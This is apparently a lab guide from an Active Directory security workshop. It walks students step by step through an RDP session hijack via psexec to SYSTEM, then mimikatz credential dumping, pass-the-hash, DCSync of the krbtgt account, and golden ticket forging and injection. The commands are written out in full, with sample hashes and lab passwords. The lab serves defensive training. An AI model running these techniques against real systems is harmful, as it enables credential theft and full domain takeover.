Module 2

As this is the first lab of this workshop, it is very important to get familiar with the graphical
interface of the lab environment. Here are some important things you need to know about it:

• The lab is not connected to the Internet.

• You cannot extract tools and scripts from this lab.
• Never type passwords! There is an option to type it in the VMs for you.
• If there are long command lines to type, there is an option to run it directly in the VM.
• You can also copy/paste text from your machine to the VMs. But not files.
• You can click on screenshots to open them in another window (then change the size of
the window if you want to zoom in).
• Your instructor can take control of your lab remotely if needed.

Please ask your instructor if you need any assistance.

DISCLAIMER
These labs contain third-party tools. Please be aware of the following guidelines:

• These tools are for research purposes only. Microsoft does not own these tools nor
can it guarantee their behavior.
• These tools should only be run in a test lab environment.
• They are tools that are used by both hackers and penetration testers, and need to
be treated with caution and with clear policies and permissions.
• The trainer is authorized to describe in details how the tools work and to show
recorded videos of the tools to the attendees.
• The trainer is giving guidance to the attendees on how to better defend Active
Directory against those tools. This includes demonstration of the tools in the
workshop’s labs.
• The lab machines used in the offering have those tools pre-installed. Those
machines are not connected to any network else then the lab network. Those
machines are not connected to the Internet.
• The attendees cannot keep a copy of the lab machines. Through your agreement to
attend the training, Microsoft disclaims any liability for the misuse of these tools,
either accidentally or intentionally. Use of these tools in this environment is for
training purposes only.

Last update - 2019-02-01

A. Troubleshooting logon privileges

Scenario
It's Monday morning and, as usual, somebody is complaining about the performance of your
domain controllers. Their application CONTOSOMONEY2000 installed on SRV01 had an
outage and their "LDAP logs" (whatever that means) pinpoint to DC01 as being the culprit. To
help them out, you want to run some performance data collector in Perfmon and show that your
favorite DC is, in fact, just fine. You open Perfmon and start your day.

1. Log on to CONTOSO - DC01.

Use the following credentials:

Username CONTOSO\Administrator
Password Pa$$w0rd

2. Right-click on the start button and click Run. In the Run window, type perfmon and click
OK.
3. Expand Data Collector Sets/System and right-click on Active Directory Diagnostics.
Click Start.

The Active Directory Diagnostics data collector is set taking a snapshot of your DC's
performance for 5 minutes and stops automatically. The results are available in HTML in the
Reports section of the console.

4. Right-click on Active Directory Diagnostics and click Refresh. The icons of the action
bar are still greyed out. Although you did click Start it does not seem like the collector is
started.
5. Right-click on the start button and click on Event Viewer.
6. Expand Windows Logs, right-click on Security and click on Filter Current Log…. In
the All Event IDs field, type 4625 and click OK.

The event ID 4625 is generated when a failed logon occurred on a system. It contains
information such as the username and the process. If the attempt is from a remote system, it
might content the IP address of that remote system.

7. Double-click on the newest event and scroll down to see the details. If it is not a failed
logon for CONTOSO\Administrator, then select the next one. Once you have found the
failed logon for CONTOSO\Administrator you see can see that the logon type is 4 (Batch
Logon). The process is svchost.exe. The logon process is UBPM (Unified Background
Process Manager). Perfmon is using UBPM to run the collector set. In layman's terms, it
has created a scheduled task and failed to run it.

When you look at an event like this one, you just have buttons to close the window (the X in the
title bar and the Close button). You can actually resize the window by selecting the bottom right
corner of the windows with your mouse and move it right and/or down.
8. Right-click on the start button and click Run. In the Run window, type taskschd.msc
and click OK.
9. Expand Task Scheduler Library/Microsoft/Windows/PLA/System. You should see a
scheduled task with a {GUID} for name and a Ready status.
But in our case, it cannot run because we failed to logon with our account. The task just lingers
here. CONTOSO\Administrator is the built-in administrator of the domain and has all possible
permissions in AD. Yet, it cannot start this task. It is because we do not have the privilege to
logon as a batch. Therefore, the event 4625 is showing a failed logon as a batch (this is the type
of logon required to run a scheduled task).

10. Right-click on the task and click Delete.

11. Right-click on the start button and click Run. In the Run window, type gpmc.msc and
click OK.
12. Expand Forest: contoso.com/Domains/contoso.com/Domain Controllers. Right-click
on Default Domain Controllers Policy and click Edit.
13. Expand Default Domain Controllers Policy/Computer
Configuration/Policies/Windows Settings/Security Settings/Local Policy/User Rights
Assignment. On the right part of the Group Policy Management Editor window, double-
click on Log on as a batch job. Click Add User or Group and in the pop-up, type
Administrators and click OK. Then click OK again and close the Group Policy
Management Editor window.
14. Right-click on the start button and click Run. In the Run window, type cmd /k
gpupdate and click OK. This should succeed and a small green icon will be visible on
the collector itself.

When you run cmd /k gpupdate, it will open a command prompt (cmd), run gpupdate but thanks
to the /k, the command prompt will not terminate and you will be able to see the output of the
commands you specified. You can try it with cmd /k ipconfig.

15. Go back to your Perfmon console and try to run the data collector set again. In the
Perfmon console, right click on the node System, then click Refresh. Now right-click on
Active Directory Diagnostics and click Start.
16. OPTIONAL: If you wait 5 minutes you will be able to see the output of your collection
under Reports/System/Active Directory Diagnostics. When you expand the different
sub-categories, it will show you things such as:
o The list of LDAP searches and their associated performance (great to spot non-
optimized LDAP queries)
o The list of chattiest IPs on the NIC
 o The top consumers of CPU, Disk and Memory

And many more…

17. Now you want to check SRV01 to see if the performance issues are not in fact coming
from the server. Right-click on the start button and click Run. In the Run window, type
 mstsc and click OK. In the Computer field, type SRV01 and click Connect. You will be
prompted for credentials. Use the following:

Username CONTOSO\Administrator
Password Pa$$w0rd

18. Once connected, in your RDP session, right-click on the start button and click Run. In
the Run window, type perfmon and click OK.

We are actually not going to do anything with perfmon. The idea that we had a valid pretext to
connect to SRV01. But leave your session open on SRV01!

Make sure you left your session open on SRV01.

If you are about to go for a break, save your labs before!

B. Remote desktop session hijack

Scenario
You are the administrator of CONTOSOMONEY2000. You recently had issues with the LDAP
integration of your application. You are suspecting an LDAP policy is limiting your LDAP
connections. You want to log on a domain controller but you do not have the permissions to do
it. However, you know that the AD administrator is often connected to the same server you use
for your daily administration. You plan on taking over its RDP session…

1. Log on to CONTOSO - SRV01 (click the link to switch to SRV01). You will see that
there is already CONTOSO\Administrator signed-in. Click Other user and log on using
the following local credentials:

Username SRV01\peter
Password Money2000!

2. Right-click on the start button and click Command Prompt.

3. In the command, type whoami /groups. You should see that you are a local account
member of the local administrators group. In the same console, type dir
\\dc01.contoso.com\SYSVOL and you should see an access denied error message.

You are connected as a local user on SRV01, you do not have access to network
resources.

Close the command prompt.

4. Right-click on the taskbar and click Task Manager. At the bottom of the task manager,
click More details. Click on the Users tab and right-click on the Administrator session.
 In the menu click Connect. You are prompted to enter the account's password. Which
you do not have. But that's not over… Yet…

Even a local administrator cannot take over an RDP session without the account’s password
knowledge. But SYSTEM can! So, let's run Task Manager in SYSTEM context.

5. Click Cancel and close the Task manager window.

6. Right-click on the start button and click Command Prompt (Admin) (you need the
admin one). Click Yes in the User Account Control pop-up.
7. Type the following commands:
8. cd \Tools\PSTools &
psexec -accepteula -sid cmd.exe /k color CF
 This will start another command prompt window. The background is red because we also
sent the color CF command.

9. In the red command prompt window, type whoami

10. . You see that you are now running in SYSTEM. It is possible only because you were a
local admin to start with.
11. Still in the red command prompt window, type taskmgr.exe. This will open the task
manager but this time running as SYSTEM (it is very important that you previously
closed the Task manager window you opened earlier as you can run only one instance of
it at a time).
12. At the bottom of the task manager, click More details. Click on the Users tab and right-
click on the Administrator session. In the menu click Connect.
13. You are now in the Administrator session. Right-click on the start button and click
Command Prompt. In the command prompt type whoami and then whoami /groups.
You successfully took over! It is not transparent for the Administrator though as he will lose
access to his session. Unless the session was disconnected (this happens if one closes the RDP
client without signing out first). But that never happens, right?

12. Right-click on the taskbar and click Task Manager. At the bottom of the task manager,
click More details. Click on the Users tab and right-click on the Administrator session.
In the menu click Disconnect. In the Task Manager pop-up, click Disconnect user.
13. This must bring you back to SRV01. Select your account SRV01\Peter and log back in
with your password Money2000!. You are back in your original session.
14. Close all the windows but do not sign out.

Leave this session open on SRV01. If you are about to take a break, save your labs before!

C. Pass-the-hash
Scenario
Hello Peter. I see that you are back (nice cape by the way). Your RDP hijack was art! But what if
you want to steal the Administrator's identity and re-use it when you want and where you want.
You don't want to wait until the administrator RDPes (yes, it is a verb) to a server for which you
are a local administrator of. Let's be proactive and extract the Administrators' hash and use it
against the DC.

1. You are still connected to CONTOSO - SRV01.

If not, do and use the following local credentials:

Username SRV01\peter
Password Money2000!

The rest of the exercise assumes that you currently have a stale RDP session from
CONTOSO\Administrator on SRV01. If it is not the case, refer to the step 17 of the first
exercise of this lab (A. Troubleshooting logon privileges).

2. Right-click on the start button and click Command Prompt (Admin) (you need the
admin one). Click Yes in the User Account Control pop-up.
3. In the command prompt, type the following commands:
4. cd \Tools\Creds &
5. mode 120,400 &
mimikatz.exe

6. In the mimikatz prompt, type privilege::debug. You should see the output Privilege
'20' OK. If not, make sure you ran the command prompt as an admin and retry the step 3.

7. Still in the mimikatz prompt, type sekurlsa::msv. In the output, look for the session
RemoteInteractive for the Administrator account. It looks like this: You can see the
NTLM hash of the user. It is currently cached in LSASS memory that we were able to
access because you have the SeDebugPrivilege privilege (you are a member of the local
administrators group). Now we can use it and inject it in our own session. Let's do that.
 8. Still in the mimikatz prompt, run sekurlsa::pth /user:Administrator
/domain:contoso /ntlm:92937945B518814341DE3F726500D4FF /run:"cmd.exe
/k COLOR DF. This will open a new command prompt with a pink background.
9. In the pink command prompt, run whoami. This shows srv01\peter, but let's look at your
permissions. Run dir \\dc01.contoso.com\c$. You can list the c$ drive of the DC!
you can write on it too. Run mkdir \\dc01.contoso.com\c$\Peter.
10. OPTIONAL: In the pink command prompt, run dir \\exch1.contoso.com\c$. Domain
admins are by default local admins of all the domain-joined systems. So here you are
browsing the c$ share of an Exchange server.

Leave this session open and proceed with the next exercise. If you are about to take a break, save
your labs before!

D. The golden ticket

Scenario
You are now able to be the Administrator since you stole its NTLM hash. The hash is valid until
the administrator changes its password. And today is the day the administrator will change its
password. Before losing your admin access, you have a machiavellic plan of crafting yourself a
golden ticket.

1. You are still connected to CONTOSO - SRV01.

If not, do and use the following local credentials:

Username SRV01\peter
Password Money2000!

The rest of the exercise assumes that you already have stolen the hash of
CONTOSO\Administrator. If it is not the case, refer to the step 4 of the previous exercise
of this lab (C. Pass-the-hash) and have the pink command prompt you opened on step 5.

2. In the pink command prompt (so using the administrator's identity), run:
3. cd \Tools\Creds &
4. mode 120,400 &
mimikatz.exe

You are now running mimikatz with CONTOSO\Administrator's hash in your session.
5. In the mimikatz prompt, run lsadump::dcsync /domain:contoso.com
/user:krbtgt@contoso.com (you do not need to run the privilege::debug command as
you are not touching local LSASS memory anymore). Look at the output:
 6. In the mimikatz prompt, run kerberos::golden /admin:Administrator
/domain:contoso.com /sid:S-1-5-21-1335734252-711511382-1358492552
/krbtgt:a7a81b1215c40666c4975580f2e59ba8 /startoffset:0 /endin:10000
/renewmax:10000. This will save your ticket in a text file.
7. Run exit in the mimikatz prompt. Then, your cursor should be in the pink command
prompt. Run copy ticket.kirbi \\WIN10\C$.
8. You now go downstairs and see your friend Norma. You ask Norma to log on
CONTOSO - WIN10 using here credentials:

Username CONTOSO\NormaLuser
Password Pa$$w0rd

9. Right-click on the start button and click Run. In the Run window, type cmd and click
OK.
10. In the command prompt, run klist tickets. Note that all the tickets are Norma's. Then
run the following commands:
11. cd \Tools\Creds &
mimikatz.exe

12. In the mimikatz prompt, run the following kerberos::ptt c:\ticket.kirbi. You
should see the following output:

Still in the mimikatz prompt, run exit but do not close the command prompt.
13. In the command prompt, run dir \\dc01\c$. This works because you are in fact the
Administrator. To prove it, look at your tickets now. Run klist tickets. Note that all
the tickets are the Administrator's.

This was the last exercise for this module.

This is how easy credential theft is. In the next modules of the workshop we will see how to
make it harder, in some cases prevent it and in most of cases detect it! Stay with us!